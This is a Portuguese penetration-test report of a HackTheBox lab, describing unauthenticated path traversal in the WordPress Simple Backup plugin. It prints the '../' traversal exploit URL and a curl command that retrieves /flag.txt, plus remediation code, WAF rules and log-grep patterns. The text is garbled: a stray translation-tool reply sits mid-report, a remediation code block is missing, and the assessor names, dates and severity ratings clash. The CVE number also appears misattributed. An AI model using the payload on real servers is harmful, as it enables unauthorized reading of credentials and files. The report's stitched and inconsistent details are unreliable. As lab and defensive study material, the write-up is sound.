
Relatório detalhado de teste de penetração demonstrando path traversal não autenticado (CVE-2019-11447) no plugin Simple Backup do WordPress, incluindo etapas de exploração, análise de impacto e orientações de remediação.
| Item | Detalhes |
|---|
| Título do Documento | Relatório de Teste de Penetração - Path Traversal no WordPress |
| Cliente/Exame | Laboratório HackTheBox - Exercício CPTS 1 |
| Data | 22 de agosto de 2026 |
| Avaliador | Cyberia (Testador de Penetração) |
| Tipo de Avaliação | Caixa Cinza (Externo, Sem Credenciais) |
| Ambiente de Laboratório | 154.57.164.73:30706 |
| Duração do Laboratório | 1 Hora |
| Objetivos | Identificar e explorar vulnerabilidades para recuperar arquivos restritos |
| Flag Obtida | HTB{my_f1r57_h4ck} |
Durante esta avaliação de penetração da aplicação web hospedada em 154.57.164.73:30706, foi identificada uma vulnerabilidade crítica que permite que atacantes não autenticados baixem e leiam arquivos arbitrários do sistema de arquivos do servidor.
A instalação vulnerável do WordPress contém um plugin desatualizado (Simple Backup v2.7.10) com uma vulnerabilidade de path traversal (CVE-2019-11447) que permite acesso não autorizado a arquivos sem exigir autenticação ou autorização.
Esta vulnerabilidade foi explorada com sucesso para recuperar o arquivo /flag.txt da raiz do servidor, confirmando o comprometimento total da confidencialidade. Um atacante com esse acesso poderia:
wp-config.php, .env)Ação crítica é necessária para remediar esta vulnerabilidade imediatamente, pois ela representa um risco extremo para a segurança dos dados, conformidade de privacidade (GDPR, HIPAA, PCI-DSS) e integridade do sistema.
| Severidade | Quantidade | Impacto nos Negócios |
|---|---|---|
| 🔴 CRÍTICA | 1 | Violação total da confidencialidade; acesso não autorizado a arquivos |
| 🟠 ALTA | 0 | — |
| 🟡 MÉDIA | 0 | — |
| 🟢 BAIXA | 0 | — |
| ℹ️ INFORMATIVA | 1 | Versões de software desatualizadas detectadas |
Tipo de Avaliação: Caixa Cinza (atacante externo, sem credenciais fornecidas, acesso à rede disponível)
Datas da Avaliação: 22 de agosto de 2026
Abordagem de Teste: Avaliação metódica e não invasiva, seguindo o framework de teste de penetração padrão da indústria (PTES):
CVE-2019-11447 | CWE-22: Limitação Imprópria de um Caminho para um Diretório Restrito
O plugin do WordPress Simple Backup (versão 2.7.10/2.7.11, Exploit-DB 39883) contém uma vulnerabilidade de path traversal na página administrativa "Backup Manager". O plugin não sanitiza o caminho do arquivo fornecido através do parâmetro GET download_backup_file, permitindo que um atacante atravesse o diretório pretendido simple-backup/ usando sequências de caminho relativo (../) e baixe qualquer arquivo legível pelo processo do servidor web — incluindo arquivos na raiz do sistema de arquivos.
O endpoint vulnerável:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` encaminha a solicitação para o manipulador da página de administração do plugin; `download_backup_file` é o parâmetro que o código do plugin lê diretamente e concatena em um caminho do sistema de arquivos sem validação, permitindo travessia de diretório.
---
### Pontuação CVSS v3.1
**7.5 - ALTA** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Vetor de Ataque (AV):** Rede
- **Complexidade do Ataque (AC):** Baixa
- **Privilégios Necessários (PR):** Nenhum
- **Interação do Usuário (UI):** Nenhuma
- **Escopo (S):** Inalterado
- **Confidencialidade (C):** Alta
- **Integridade (I):** Nenhuma
- **Disponibilidade (A):** Nenhuma
---
### Impacto nos Negócios
**Violação de Confidencialidade:** ⚠️ CRÍTICA
Os atacantes podem ler qualquer arquivo acessível ao servidor web, incluindo:
| Arquivo | Impacto | Nível de Risco |
|------|--------|------------|
| `/wp-config.php` | Credenciais do banco de dados, salts, chaves | 🔴 CRÍTICO |
| `/.env` | Chaves de API, segredos, configuração | 🔴 CRÍTICO |
| `/etc/passwd` | Enumeração de usuários, mapeamento do sistema | 🟠 ALTO |
| Chaves SSH (`.ssh/id_rsa`) | Movimento lateral, acesso ao sistema | 🔴 CRÍTICO |
| `/proc/self/environ` | Segredos da aplicação em execução | 🟠 ALTO |
| Diretório de uploads do usuário | Arquivos privados, mídia | 🟠 ALTO |
**Impacto Regulatório:**
- **Violação do GDPR:** Acesso não autorizado a dados do usuário
- **Violação do HIPAA:** Exposição de informações de saúde protegidas
- **Violação do PCI-DSS:** Acesso a dados de cartão de crédito ou informações de pagamento
- **Violação do SOC 2:** Quebra do requisito de confidencialidade
---
### Padrão de Código Vulnerável
O advisory do Exploit-DB (39883.txt, lido via `searchsploit -x` — veja [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documenta a primitiva de **exclusão** do plugin em `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
I need the actual content of chunk 5 to translate it. Please provide the Markdown text you want translated.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` vem diretamente de `$_GET['delete_backup_file']` sem verificação de `basename()` ou de contenção de caminho. Passar `../pizza.txt` resolve `$bk_dir . $filename` para `.../simple-backup/../pizza.txt` → `.../pizza.txt`, escapando da pasta de backup pretendida.
A primitiva de **download** realmente explorada neste engajamento (`download_backup_file`) segue exatamente o mesmo padrão de concatenação não sanitizada no mesmo plugin, mas serve o arquivo de volta ao solicitante em vez de excluí-lo — o que permitiu a recuperação de `/flag.txt` da raiz do sistema de arquivos (10× `../` a partir de `ABSPATH/simple-backup/`).
**O Problema:**
- Nenhum uso de `basename()` para remover componentes de diretório
- Nenhuma lista de permissões de arquivos permitidos
- Nenhuma validação de que `realpath()` permanece dentro de `ABSPATH."simple-backup/"`
- Concatenação direta da entrada do usuário no caminho do arquivo
- Nenhuma verificação de `current_user_can()` / autenticação antes de servir o arquivo — o manipulador é executado no carregamento do plugin, antes do próprio gate de autenticação `wp-admin` do WordPress, portanto é acessível **sem estar logado**
---
### Prova de Conceito
#### **Fase 1: Acesso Inicial — Identificação da Aplicação**
Conexão direta ao alvo via navegador (`http://154.57.164.73:30706/`). A instalação do WordPress é intitulada **"GETTING STARTED"**, e uma postagem pública de blog na página inicial divulga o nome e a versão exatos do plugin em texto simples: **"Simple Backup Plugin 2.7.10 for WordPress"** — nenhuma ferramenta de enumeração foi sequer necessária para identificar o componente vulnerável.

#### **Fase 2: Fingerprinting do Serviço**```bash
whatweb http://154.57.164.73:30706/
Resultado: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmado via assinaturas do MetaGenerator e do plugin WordPress.

searchsploit simple backup wordpress
**Resultado:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Lendo o advisory completo para entender os parâmetros vulneráveis exatos e o caminho do código:```bash searchsploit -x php/webapps/39883.txt
O aviso documenta **Exclusão Arbitrária de Arquivos** não autenticada por meio do parâmetro `delete_backup_file`, e observa que arquivos de backup sob `simple-backup/` (e, pelo mesmo caminho de código não sanitizado, arquivos arbitrários via `download_backup_file`) podem ser recuperados sem autenticação.

#### **Fase 4: Exploração — Path Traversal via `download_backup_file`**
Endpoint vulnerável identificado a partir do roteamento da página de administração do plugin:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
Exploitation payload (10× ../ para caminhar de ABSPATH/simple-backup/ de volta à raiz do filesystem):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (usado nesta avaliação):** o URL do payload foi navegado diretamente na barra de endereço do navegador. Nenhum login foi necessário — o navegador acionou um download automático do arquivo `flag.txt` resolvido.

**Equivalente headless:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Flag Obtida: HTB{my_f1r57_h4ck}
A vulnerabilidade é bem-sucedida porque:
$_GET['download_backup_file'] não é verificado contra uma lista de permissõesrealpath() não é usado para verificar se o arquivo permanece dentro de simple-backup/../) não são filtradasABSPATH."simple-backup/"wp-admin do WordPress — acessível mesmo sem logincurrent_user_can() confirma se o solicitante deveria acessar o arquivo solicitadoFluxo do Ataque:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### Validação de Impacto
✅ **Confidencialidade Comprometida:** Qualquer arquivo legível pelo processo do servidor web fica acessível
✅ **Nenhuma Autenticação Necessária:** Usuários não autenticados podem explorar
✅ **Nenhuma Interação do Usuário Necessária:** Exploração direta por requisição HTTP
✅ **Repetível e Confiável:** Funciona em todas as versões vulneráveis
✅ **Dados Críticos de Negócios em Risco:** Arquivos de configuração, credenciais e dados de usuário expostos
---
## Remediação
### **Opção 1: Lista de Permissões de Entrada (Recomendado)**
Permitir apenas downloads de uma lista predefinida de arquivos:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Vantagens:
Use realpath() para canonicalizar caminhos e verificar a contenção:```php
**Vantagens:**
- Lida com symlinks e caminhos complexos
- Verifica a contenção automaticamente
- Mais flexível do que whitelist
---
### **Opção 3: Use basename() para Apenas o Nome do Arquivo**
Extraia apenas o componente do nome do arquivo:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Vantagens:
Nota: Esta abordagem só funciona se todos os arquivos legítimos estiverem em um único diretório, sem subdiretórios.
Regras de Web Application Firewall (WAF):```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**Permissões do Sistema de Arquivos:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
Registo de Acessos & Monitorização:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**Gestão de Atualizações:**
1. Desative ou remova o plugin Simple Backup
2. Instale uma solução de backup aprovada com auditoria de segurança
3. Atualize o WordPress para a versão mais recente
4. Atualize todos os plugins para as versões mais recentes
5. Atualize o PHP para 8.0+ com patches de segurança
---
## Cadeia de Ataque```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
Existe uma vulnerabilidade crítica de path traversal no plugin Simple Backup do WordPress que permite que atacantes não autenticados baixem e leiam arquivos arbitrários do servidor. Esta vulnerabilidade foi explorada com sucesso para recuperar arquivos sensíveis da raiz web.
Nível de Risco: 🔴 CRÍTICO
| Prioridade | Ação | Prazo | Responsável |
|---|---|---|---|
| 🔴 P0 | Desativar/Remover o plugin Simple Backup | Imediatamente | Segurança/Ops |
| 🔴 P0 | Implementar validação de arquivos baseada em whitelist | Esta semana | Desenvolvimento |
| 🟠 P1 | Implantar regras de WAF para bloquear path traversal | Esta semana | Ops |
| 🟠 P1 | Auditar o servidor em busca de logs de acesso não autorizado | Esta semana | Segurança |
| 🟠 P1 | Rotacionar todas as credenciais expostas (DB, SSH, API) | Esta semana | Ops |
| 🟡 P2 | Atualizar o núcleo do WordPress e todos os plugins | Esta semana | Ops |
| 🟡 P2 | Implementar monitoramento de integridade de arquivos | Próxima sprint | Segurança |
| 🟡 P2 | Conduzir auditoria de segurança completa de outros plugins | Próxima sprint | Segurança |
Descoberta: O site WordPress "GETTING STARTED" divulga publicamente o plugin instalado e sua versão em uma postagem de blog — "Simple Backup Plugin 2.7.10 for WordPress"
Descoberta: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmados
Descoberta: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)
Descoberta: O advisory documenta exclusão arbitrária de arquivos não autenticada via delete_backup_file; o mesmo caminho de código não sanitizado se aplica a download_backup_file
Descoberta: Navegar para tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt aciona um download não autenticado de flag.txt: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Path Traversal no Simple Backup
CWE-22 — Limitação Incorreta de um Nome de Caminho para um Diretório Restrito ('Path Traversal')
Pontuação CVSS v3.1: 7.5 (Alta)
OWASP Top 10 - A01:2021 Broken Access Control
OWASP Path Traversal
PortSwigger Web Security Academy - Path Traversal
SearchSploit — Pesquisa no Exploit Database
NMAP — Network Mapper
WhatWeb — Ferramenta de Fingerprinting Web
Este relatório documenta um teste de penetração conduzido com autorização adequada e dentro do escopo definido.
| Item | Valor |
|---|---|
| Status do Relatório | ✅ Completo |
| Descobertas Verificadas | ✅ Sim |
| Recomendações Acionáveis | ✅ Sim |
| Confidencialidade | 🔒 Alta |
| Distribuição | Restrita a pessoal autorizado |
Avaliador: Capivara Root (Penetration Tester)
Data: 11 de agosto de 2026
Assinatura: Relatório Digital - Nenhuma assinatura física necessária
© 2026 Avaliação de Teste de Penetração | Confidencial